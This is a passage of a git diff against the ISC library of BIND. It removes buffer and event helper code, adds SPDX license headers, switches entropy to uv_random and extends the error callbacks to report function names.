-	 * Make 'r' refer to the active region of 'b'.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(r != NULL);
-
-	ISC__BUFFER_ACTIVEREGION(b, r);
-}
-
-void
-isc__buffer_setactive(isc_buffer_t *b, unsigned int n) {
-	/*
-	 * Sets the end of the active region 'n' bytes after current.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(b->current + n <= b->used);
-
-	ISC__BUFFER_SETACTIVE(b, n);
-}
-
-void
-isc__buffer_first(isc_buffer_t *b) {
-	/*
-	 * Make the consumed region empty.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-
-	ISC__BUFFER_FIRST(b);
-}
-
-void
-isc__buffer_forward(isc_buffer_t *b, unsigned int n) {
-	/*
-	 * Increase the 'consumed' region of 'b' by 'n' bytes.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(b->current + n <= b->used);
-
-	ISC__BUFFER_FORWARD(b, n);
-}
-
-void
-isc__buffer_back(isc_buffer_t *b, unsigned int n) {
-	/*
-	 * Decrease the 'consumed' region of 'b' by 'n' bytes.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(n <= b->current);
-
-	ISC__BUFFER_BACK(b, n);
-}
-
-void
-isc_buffer_compact(isc_buffer_t *b) {
-	unsigned int length;
-	void *src;
-
-	/*
-	 * Compact the used region by moving the remaining region so it occurs
-	 * at the start of the buffer.  The used region is shrunk by the size
-	 * of the consumed region, and the consumed region is then made empty.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-
-	src = isc_buffer_current(b);
-	length = isc_buffer_remaininglength(b);
-	if (length > 0U) {
-		(void)memmove(b->base, src, (size_t)length);
-	}
-
-	if (b->active > b->current) {
-		b->active -= b->current;
-	} else {
-		b->active = 0;
-	}
-	b->current = 0;
-	b->used = length;
-}
-
-uint8_t
-isc_buffer_getuint8(isc_buffer_t *b) {
-	unsigned char *cp;
-	uint8_t result;
-
-	/*
-	 * Read an unsigned 8-bit integer from 'b' and return it.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(b->used - b->current >= 1);
-
-	cp = isc_buffer_current(b);
-	b->current += 1;
-	result = ((uint8_t)(cp[0]));
-
-	return (result);
-}
-
-void
-isc__buffer_putuint8(isc_buffer_t *b, uint8_t val) {
-	isc_result_t result;
-	REQUIRE(ISC_BUFFER_VALID(b));
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, 1);
-		REQUIRE(result == ISC_R_SUCCESS);
-	}
-	REQUIRE(isc_buffer_availablelength(b) >= 1);
-
-	ISC__BUFFER_PUTUINT8(b, val);
-}
-
-uint16_t
-isc_buffer_getuint16(isc_buffer_t *b) {
-	unsigned char *cp;
-	uint16_t result;
-
-	/*
-	 * Read an unsigned 16-bit integer in network byte order from 'b',
-	 * convert it to host byte order, and return it.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(b->used - b->current >= 2);
-
-	cp = isc_buffer_current(b);
-	b->current += 2;
-	result = ((unsigned int)(cp[0])) << 8;
-	result |= ((unsigned int)(cp[1]));
-
-	return (result);
-}
-
-void
-isc__buffer_putuint16(isc_buffer_t *b, uint16_t val) {
-	isc_result_t result;
-	REQUIRE(ISC_BUFFER_VALID(b));
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, 2);
-		REQUIRE(result == ISC_R_SUCCESS);
-	}
-	REQUIRE(isc_buffer_availablelength(b) >= 2);
-
-	ISC__BUFFER_PUTUINT16(b, val);
-}
-
-void
-isc__buffer_putuint24(isc_buffer_t *b, uint32_t val) {
-	isc_result_t result;
-	REQUIRE(ISC_BUFFER_VALID(b));
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, 3);
-		REQUIRE(result == ISC_R_SUCCESS);
-	}
-	REQUIRE(isc_buffer_availablelength(b) >= 3);
-
-	ISC__BUFFER_PUTUINT24(b, val);
-}
-
-uint32_t
-isc_buffer_getuint32(isc_buffer_t *b) {
-	unsigned char *cp;
-	uint32_t result;
-
-	/*
-	 * Read an unsigned 32-bit integer in network byte order from 'b',
-	 * convert it to host byte order, and return it.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(b->used - b->current >= 4);
-
-	cp = isc_buffer_current(b);
-	b->current += 4;
-	result = ((unsigned int)(cp[0])) << 24;
-	result |= ((unsigned int)(cp[1])) << 16;
-	result |= ((unsigned int)(cp[2])) << 8;
-	result |= ((unsigned int)(cp[3]));
-
-	return (result);
-}
-
-void
-isc__buffer_putuint32(isc_buffer_t *b, uint32_t val) {
-	isc_result_t result;
-	REQUIRE(ISC_BUFFER_VALID(b));
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, 4);
-		REQUIRE(result == ISC_R_SUCCESS);
-	}
-	REQUIRE(isc_buffer_availablelength(b) >= 4);
-
-	ISC__BUFFER_PUTUINT32(b, val);
-}
-
-uint64_t
-isc_buffer_getuint48(isc_buffer_t *b) {
-	unsigned char *cp;
-	uint64_t result;
-
-	/*
-	 * Read an unsigned 48-bit integer in network byte order from 'b',
-	 * convert it to host byte order, and return it.
-	 */
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(b->used - b->current >= 6);
-
-	cp = isc_buffer_current(b);
-	b->current += 6;
-	result = ((int64_t)(cp[0])) << 40;
-	result |= ((int64_t)(cp[1])) << 32;
-	result |= ((int64_t)(cp[2])) << 24;
-	result |= ((int64_t)(cp[3])) << 16;
-	result |= ((int64_t)(cp[4])) << 8;
-	result |= ((int64_t)(cp[5]));
-
-	return (result);
-}
-
-void
-isc__buffer_putuint48(isc_buffer_t *b, uint64_t val) {
-	isc_result_t result;
-	uint16_t valhi;
-	uint32_t vallo;
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, 6);
-		REQUIRE(result == ISC_R_SUCCESS);
-	}
-	REQUIRE(isc_buffer_availablelength(b) >= 6);
-
-	valhi = (uint16_t)(val >> 32);
-	vallo = (uint32_t)(val & 0xFFFFFFFF);
-	ISC__BUFFER_PUTUINT16(b, valhi);
-	ISC__BUFFER_PUTUINT32(b, vallo);
-}
-
-void
-isc__buffer_putmem(isc_buffer_t *b, const unsigned char *base,
-		   unsigned int length) {
-	isc_result_t result;
-	REQUIRE(ISC_BUFFER_VALID(b));
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, length);
-		REQUIRE(result == ISC_R_SUCCESS);
-	}
-	REQUIRE(isc_buffer_availablelength(b) >= length);
-
-	ISC__BUFFER_PUTMEM(b, base, length);
-}
-
-void
-isc__buffer_putstr(isc_buffer_t *b, const char *source) {
-	unsigned int l;
-	unsigned char *cp;
-	isc_result_t result;
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(source != NULL);
-
-	/*
-	 * Do not use ISC__BUFFER_PUTSTR(), so strlen is only done once.
-	 */
-	l = strlen(source);
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, l);
-		REQUIRE(result == ISC_R_SUCCESS);
-	}
-	REQUIRE(isc_buffer_availablelength(b) >= l);
-
-	cp = isc_buffer_used(b);
-	memmove(cp, source, l);
-	b->used += l;
-}
-
-void
-isc_buffer_putdecint(isc_buffer_t *b, int64_t v) {
-	unsigned int l = 0;
-	unsigned char *cp;
-	char buf[21];
-	isc_result_t result;
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-
-	/* xxxwpk do it more low-level way ? */
-	l = snprintf(buf, 21, "%" PRId64, v);
-	RUNTIME_CHECK(l <= 21);
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, l);
-		REQUIRE(result == ISC_R_SUCCESS);
-	}
-	REQUIRE(isc_buffer_availablelength(b) >= l);
-
-	cp = isc_buffer_used(b);
-	memmove(cp, buf, l);
-	b->used += l;
-}
-
-isc_result_t
-isc_buffer_dup(isc_mem_t *mctx, isc_buffer_t **dstp, const isc_buffer_t *src) {
-	isc_buffer_t *dst = NULL;
-	isc_region_t region;
-	isc_result_t result;
-
-	REQUIRE(dstp != NULL && *dstp == NULL);
-	REQUIRE(ISC_BUFFER_VALID(src));
-
-	isc_buffer_usedregion(src, &region);
-
-	isc_buffer_allocate(mctx, &dst, region.length);
-
-	result = isc_buffer_copyregion(dst, &region);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS); /* NOSPACE is impossible */
-	*dstp = dst;
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_buffer_copyregion(isc_buffer_t *b, const isc_region_t *r) {
-	isc_result_t result;
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-	REQUIRE(r != NULL);
-
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, r->length);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	}
-
-	if (r->length > isc_buffer_availablelength(b)) {
-		return (ISC_R_NOSPACE);
-	}
-
-	if (r->length > 0U) {
-		memmove(isc_buffer_used(b), r->base, r->length);
-		b->used += r->length;
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc_buffer_allocate(isc_mem_t *mctx, isc_buffer_t **dynbuffer,
-		    unsigned int length) {
-	REQUIRE(dynbuffer != NULL && *dynbuffer == NULL);
-
-	isc_buffer_t *dbuf = isc_mem_get(mctx, sizeof(isc_buffer_t));
-	unsigned char *bdata = isc_mem_get(mctx, length);
-
-	isc_buffer_init(dbuf, bdata, length);
-
-	ENSURE(ISC_BUFFER_VALID(dbuf));
-
-	dbuf->mctx = mctx;
-
-	*dynbuffer = dbuf;
-}
-
-isc_result_t
-isc_buffer_reserve(isc_buffer_t **dynbuffer, unsigned int size) {
-	unsigned char *bdata;
-	uint64_t len;
-
-	REQUIRE(dynbuffer != NULL);
-	REQUIRE(ISC_BUFFER_VALID(*dynbuffer));
-
-	len = (*dynbuffer)->length;
-	if ((len - (*dynbuffer)->used) >= size) {
-		return (ISC_R_SUCCESS);
-	}
-
-	if ((*dynbuffer)->mctx == NULL) {
-		return (ISC_R_NOSPACE);
-	}
-
-	/* Round to nearest buffer size increment */
-	len = size + (*dynbuffer)->used;
-	len = (len + ISC_BUFFER_INCR - 1 - ((len - 1) % ISC_BUFFER_INCR));
-
-	/* Cap at UINT_MAX */
-	if (len > UINT_MAX) {
-		len = UINT_MAX;
-	}
-
-	if ((len - (*dynbuffer)->used) < size) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	/*
-	 * XXXMUKS: This is far more expensive than plain realloc() as
-	 * it doesn't remap pages, but does ordinary copy. So is
-	 * isc_mem_reallocate(), which has additional issues.
-	 */
-	bdata = isc_mem_get((*dynbuffer)->mctx, (unsigned int)len);
-
-	memmove(bdata, (*dynbuffer)->base, (*dynbuffer)->length);
-	isc_mem_put((*dynbuffer)->mctx, (*dynbuffer)->base,
-		    (*dynbuffer)->length);
-
-	(*dynbuffer)->base = bdata;
-	(*dynbuffer)->length = (unsigned int)len;
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc_buffer_free(isc_buffer_t **dynbuffer) {
-	isc_buffer_t *dbuf;
-	isc_mem_t *mctx;
-
-	REQUIRE(dynbuffer != NULL);
-	REQUIRE(ISC_BUFFER_VALID(*dynbuffer));
-	REQUIRE((*dynbuffer)->mctx != NULL);
-
-	dbuf = *dynbuffer;
-	*dynbuffer = NULL; /* destroy external reference */
-	mctx = dbuf->mctx;
-	dbuf->mctx = NULL;
-
-	isc_mem_put(mctx, dbuf->base, dbuf->length);
-	isc_buffer_invalidate(dbuf);
-	isc_mem_put(mctx, dbuf, sizeof(isc_buffer_t));
-}
-
-isc_result_t
-isc_buffer_printf(isc_buffer_t *b, const char *format, ...) {
-	va_list ap;
-	int n;
-	isc_result_t result;
-
-	REQUIRE(ISC_BUFFER_VALID(b));
-
-	va_start(ap, format);
-	n = vsnprintf(NULL, 0, format, ap);
-	va_end(ap);
-
-	if (n < 0) {
-		return (ISC_R_FAILURE);
-	}
-
-	if (ISC_UNLIKELY(b->autore)) {
-		result = isc_buffer_reserve(&b, n + 1);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	}
-
-	if (isc_buffer_availablelength(b) < (unsigned int)n + 1) {
-		return (ISC_R_NOSPACE);
-	}
-
-	va_start(ap, format);
-	n = vsnprintf(isc_buffer_used(b), n + 1, format, ap);
-	va_end(ap);
-
-	if (n < 0) {
-		return (ISC_R_FAILURE);
-	}
-
-	b->used += n;
-
-	return (ISC_R_SUCCESS);
-}
diff --git a/lib/isc/commandline.c b/lib/isc/commandline.c
index 037552d8bd..c6e3568939 100644
--- a/lib/isc/commandline.c
+++ b/lib/isc/commandline.c
@@ -1,17 +1,15 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0 AND BSD-3-Clause
+
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
  */
 
 /*
- * Copyright (c) 1987, 1993, 1994
- *	The Regents of the University of California.  All rights reserved.
+ * Copyright (C) 1987, 1993, 1994 The Regents of the University of California.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -36,6 +34,9 @@
  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  * SUCH DAMAGE.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
 /*! \file
@@ -51,22 +52,21 @@
 
 #include <isc/commandline.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
 /*% Index into parent argv vector. */
-LIBISC_EXTERNAL_DATA int isc_commandline_index = 1;
+int isc_commandline_index = 1;
 /*% Character checked for validity. */
-LIBISC_EXTERNAL_DATA int isc_commandline_option;
+int isc_commandline_option;
 /*% Argument associated with option. */
-LIBISC_EXTERNAL_DATA char *isc_commandline_argument;
+char *isc_commandline_argument;
 /*% For printing error messages. */
-LIBISC_EXTERNAL_DATA char *isc_commandline_progname;
+char *isc_commandline_progname;
 /*% Print error messages. */
-LIBISC_EXTERNAL_DATA bool isc_commandline_errprint = true;
+bool isc_commandline_errprint = true;
 /*% Reset processing. */
-LIBISC_EXTERNAL_DATA bool isc_commandline_reset = true;
+bool isc_commandline_reset = true;
 
 static char endopt = '\0';
 
@@ -218,7 +218,7 @@ isc_commandline_strtoargv(isc_mem_t *mctx, char *s, unsigned int *argcp,
 	if (*s == '\0') {
 		/* We have reached the end of the string. */
 		*argcp = n;
-		*argvp = isc_mem_get(mctx, n * sizeof(char *));
+		*argvp = isc_mem_cget(mctx, n, sizeof(char *));
 	} else {
 		char *p = s;
 		while (*p != ' ' && *p != '\t' && *p != '\0' && *p != '{') {
diff --git a/lib/isc/condition.c b/lib/isc/condition.c
index ac9fcea809..baf2808a6b 100644
--- a/lib/isc/condition.c
+++ b/lib/isc/condition.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,11 +22,10 @@
 #include <isc/util.h>
 
 isc_result_t
-isc_condition_waituntil(isc_condition_t *c, isc_mutex_t *m, isc_time_t *t) {
+isc__condition_waituntil(pthread_cond_t *c, pthread_mutex_t *m, isc_time_t *t) {
 	int presult;
 	isc_result_t result;
 	struct timespec ts;
-	char strbuf[ISC_STRERRORSIZE];
 
 	REQUIRE(c != NULL && m != NULL && t != NULL);
 
@@ -50,11 +51,7 @@ isc_condition_waituntil(isc_condition_t *c, isc_mutex_t *m, isc_time_t *t) {
 	ts.tv_nsec = (long)isc_time_nanoseconds(t);
 
 	do {
-#if ISC_MUTEX_PROFILE
-		presult = pthread_cond_timedwait(c, &m->mutex, &ts);
-#else  /* if ISC_MUTEX_PROFILE */
 		presult = pthread_cond_timedwait(c, m, &ts);
-#endif /* if ISC_MUTEX_PROFILE */
 		if (presult == 0) {
 			return (ISC_R_SUCCESS);
 		}
@@ -63,8 +60,6 @@ isc_condition_waituntil(isc_condition_t *c, isc_mutex_t *m, isc_time_t *t) {
 		}
 	} while (presult == EINTR);
 
-	strerror_r(presult, strbuf, sizeof(strbuf));
-	UNEXPECTED_ERROR(__FILE__, __LINE__,
-			 "pthread_cond_timedwait() returned %s", strbuf);
+	UNEXPECTED_SYSERROR(presult, "pthread_cond_timedwait()");
 	return (ISC_R_UNEXPECTED);
 }
diff --git a/lib/isc/counter.c b/lib/isc/counter.c
index 7c46a7129f..0c0ccd665b 100644
--- a/lib/isc/counter.c
+++ b/lib/isc/counter.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/crc64.c b/lib/isc/crc64.c
index 0c00d1c0e7..4b6c213262 100644
--- a/lib/isc/crc64.c
+++ b/lib/isc/crc64.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/dir.c b/lib/isc/dir.c
index 49367956fd..7c3ea98837 100644
--- a/lib/isc/dir.c
+++ b/lib/isc/dir.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,14 +15,13 @@
 
 #include <ctype.h>
 #include <errno.h>
+#include <netdb.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
 
 #include <isc/dir.h>
 #include <isc/magic.h>
-#include <isc/netdb.h>
-#include <isc/print.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -191,76 +192,3 @@ isc_dir_chroot(const char *dirname) {
 	return (ISC_R_NOTIMPLEMENTED);
 #endif /* ifdef HAVE_CHROOT */
 }
-
-isc_result_t
-isc_dir_createunique(char *templet) {
-	isc_result_t result;
-	char *x;
-	char *p;
-	int i;
-	int pid;
-
-	REQUIRE(templet != NULL);
-
-	/*!
-	 * \brief mkdtemp is not portable, so this emulates it.
-	 */
-
-	pid = getpid();
-
-	/*
-	 * Replace trailing Xs with the process-id, zero-filled.
-	 */
-	for (x = templet + strlen(templet) - 1; *x == 'X' && x >= templet;
-	     x--, pid /= 10)
-	{
-		*x = pid % 10 + '0';
-	}
-
-	x++; /* Set x to start of ex-Xs. */
-
-	do {
-		i = mkdir(templet, 0700);
-		if (i == 0 || errno != EEXIST) {
-			break;
-		}
-
-		/*
-		 * The BSD algorithm.
-		 */
-		p = x;
-		while (*p != '\0') {
-			if (isdigit((unsigned char)*p)) {
-				*p = 'a';
-			} else if (*p != 'z') {
-				++*p;
-			} else {
-				/*
-				 * Reset character and move to next.
-				 */
-				*p++ = 'a';
-				continue;
-			}
-
-			break;
-		}
-
-		if (*p == '\0') {
-			/*
-			 * Tried all combinations.  errno should already
-			 * be EEXIST, but ensure it is anyway for
-			 * isc__errno2result().
-			 */
-			errno = EEXIST;
-			break;
-		}
-	} while (1);
-
-	if (i == -1) {
-		result = isc__errno2result(errno);
-	} else {
-		result = ISC_R_SUCCESS;
-	}
-
-	return (result);
-}
diff --git a/lib/isc/entropy.c b/lib/isc/entropy.c
index b31528a895..a037960bd1 100644
--- a/lib/isc/entropy.c
+++ b/lib/isc/entropy.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,18 +11,14 @@
  * information regarding copyright ownership.
  */
 
-#include <openssl/err.h>
-#include <openssl/rand.h>
-
+#include <isc/entropy.h>
 #include <isc/types.h>
 #include <isc/util.h>
-
-#include "entropy_private.h"
+#include <isc/uv.h>
 
 void
 isc_entropy_get(void *buf, size_t buflen) {
-	if (RAND_bytes(buf, buflen) < 1) {
-		FATAL_ERROR(__FILE__, __LINE__, "RAND_bytes(): %s",
-			    ERR_error_string(ERR_get_error(), NULL));
-	}
+	int r = uv_random(NULL, NULL, buf, buflen, 0, NULL);
+
+	UV_RUNTIME_CHECK(uv_random, r);
 }
diff --git a/lib/isc/entropy_private.h b/lib/isc/entropy_private.h
deleted file mode 100644
index 34cc33958b..0000000000
--- a/lib/isc/entropy_private.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-#include <stdlib.h>
-
-#include <isc/lang.h>
-
-/*! \file isc/entropy_private.h
- * \brief Implements wrapper around CSPRNG cryptographic library calls
- * for getting cryptographically secure pseudo-random numbers.
- *
- * - If OpenSSL is used, it uses RAND_bytes()
- * - If PKCS#11 is used, it uses pkcs_C_GenerateRandom()
- *
- */
-
-ISC_LANG_BEGINDECLS
-
-void
-isc_entropy_get(void *buf, size_t buflen);
-/*!<
- * \brief Get cryptographically-secure pseudo-random data.
- */
-
-ISC_LANG_ENDDECLS
diff --git a/lib/isc/errno.c b/lib/isc/errno.c
index 7d52944ed9..5875f3b66e 100644
--- a/lib/isc/errno.c
+++ b/lib/isc/errno.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/errno2result.c b/lib/isc/errno2result.c
index b7866f4b5c..1ef0c884d5 100644
--- a/lib/isc/errno2result.c
+++ b/lib/isc/errno2result.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,6 @@
 #include "errno2result.h"
 #include <stdbool.h>
 
-#include <isc/platform.h>
 #include <isc/result.h>
 #include <isc/strerr.h>
 #include <isc/string.h>
@@ -38,10 +39,13 @@ isc___errno2result(int posixerrno, bool dolog, const char *file,
 	case ENAMETOOLONG:
 	case EBADF:
 		return (ISC_R_INVALIDFILE);
+	case EISDIR:
+		return (ISC_R_NOTFILE);
 	case ENOENT:
 		return (ISC_R_FILENOTFOUND);
 	case EACCES:
 	case EPERM:
+	case EROFS:
 		return (ISC_R_NOPERM);
 	case EEXIST:
 		return (ISC_R_FILEEXISTS);
diff --git a/lib/isc/errno2result.h b/lib/isc/errno2result.h
index 6a7942c517..80fee698e0 100644
--- a/lib/isc/errno2result.h
+++ b/lib/isc/errno2result.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef UNIX_ERRNO2RESULT_H
-#define UNIX_ERRNO2RESULT_H 1
+#pragma once
 
 /*! \file */
 
@@ -31,5 +32,3 @@ isc___errno2result(int posixerrno, bool dolog, const char *file,
 		   unsigned int line);
 
 ISC_LANG_ENDDECLS
-
-#endif /* UNIX_ERRNO2RESULT_H */
diff --git a/lib/isc/error.c b/lib/isc/error.c
index cf76a73f6d..3c168b664b 100644
--- a/lib/isc/error.c
+++ b/lib/isc/error.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,16 +17,15 @@
 #include <stdlib.h>
 
 #include <isc/error.h>
-#include <isc/print.h>
 
 /*% Default unexpected callback. */
 static void
-default_unexpected_callback(const char *, int, const char *, va_list)
-	ISC_FORMAT_PRINTF(3, 0);
+default_unexpected_callback(const char *, int, const char *, const char *,
+			    va_list) ISC_FORMAT_PRINTF(4, 0);
 
 /*% Default fatal callback. */
 static void
-default_fatal_callback(const char *, int, const char *, va_list)
+default_fatal_callback(const char *, int, const char *, const char *, va_list)
 	ISC_FORMAT_PRINTF(3, 0);
 
 /*% unexpected_callback */
@@ -50,42 +51,39 @@ isc_error_setfatal(isc_errorcallback_t cb) {
 }
 
 void
-isc_error_unexpected(const char *file, int line, const char *format, ...) {
+isc_error_unexpected(const char *file, int line, const char *func,
+		     const char *format, ...) {
 	va_list args;
 
 	va_start(args, format);
-	(unexpected_callback)(file, line, format, args);
+	(unexpected_callback)(file, line, func, format, args);
 	va_end(args);
 }
 
 void
-isc_error_fatal(const char *file, int line, const char *format, ...) {
+isc_error_fatal(const char *file, int line, const char *func,
+		const char *format, ...) {
 	va_list args;
 
 	va_start(args, format);
-	(fatal_callback)(file, line, format, args);
+	(fatal_callback)(file, line, func, format, args);
 	va_end(args);
 	abort();
 }
 
-void
-isc_error_runtimecheck(const char *file, int line, const char *expression) {
-	isc_error_fatal(file, line, "RUNTIME_CHECK(%s) failed", expression);
-}
-
 static void
-default_unexpected_callback(const char *file, int line, const char *format,
-			    va_list args) {
-	fprintf(stderr, "%s:%d: ", file, line);
+default_unexpected_callback(const char *file, int line, const char *func,
+			    const char *format, va_list args) {
+	fprintf(stderr, "%s:%d:%s(): ", file, line, func);
 	vfprintf(stderr, format, args);
 	fprintf(stderr, "\n");
 	fflush(stderr);
 }
 
 static void
-default_fatal_callback(const char *file, int line, const char *format,
-		       va_list args) {
-	fprintf(stderr, "%s:%d: fatal error: ", file, line);
+default_fatal_callback(const char *file, int line, const char *func,
+		       const char *format, va_list args) {
+	fprintf(stderr, "%s:%d:%s(): fatal error: ", file, line, func);
 	vfprintf(stderr, format, args);
 	fprintf(stderr, "\n");
 	fflush(stderr);
diff --git a/lib/isc/event.c b/lib/isc/event.c
deleted file mode 100644
index 71462db908..0000000000
--- a/lib/isc/event.c
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*!
- * \file
- */
-
-#include <isc/event.h>
-#include <isc/mem.h>
-#include <isc/util.h>
-
-/***
- *** Events.
- ***/
-
-static void
-destroy(isc_event_t *event) {
-	isc_mem_t *mctx = event->ev_destroy_arg;
-
-	isc_mem_put(mctx, event, event->ev_size);
-}
-
-isc_event_t *
-isc_event_allocate(isc_mem_t *mctx, void *sender, isc_eventtype_t type,
-		   isc_taskaction_t action, void *arg, size_t size) {
-	isc_event_t *event;
-
-	REQUIRE(size >= sizeof(struct isc_event));
-	REQUIRE(action != NULL);
-
-	event = isc_mem_get(mctx, size);
-
-	ISC_EVENT_INIT(event, size, 0, NULL, type, action, arg, sender, destroy,
-		       mctx);
-
-	return (event);
-}
-
-isc_event_t *
-isc_event_constallocate(isc_mem_t *mctx, void *sender, isc_eventtype_t type,
-			isc_taskaction_t action, const void *arg, size_t size) {
-	isc_event_t *event;
-	void *deconst_arg;
-
-	REQUIRE(size >= sizeof(struct isc_event));
-	REQUIRE(action != NULL);
-
-	event = isc_mem_get(mctx, size);
-
-	/*
-	 * Removing the const attribute from "arg" is the best of two
-	 * evils here.  If the event->ev_arg member is made const, then
-	 * it affects a great many users of the task/event subsystem
-	 * which are not passing in an "arg" which starts its life as
-	 * const.  Changing isc_event_allocate() and isc_task_onshutdown()
-	 * to not have "arg" prototyped as const (which is quite legitimate,
-	 * because neither of those functions modify arg) can cause
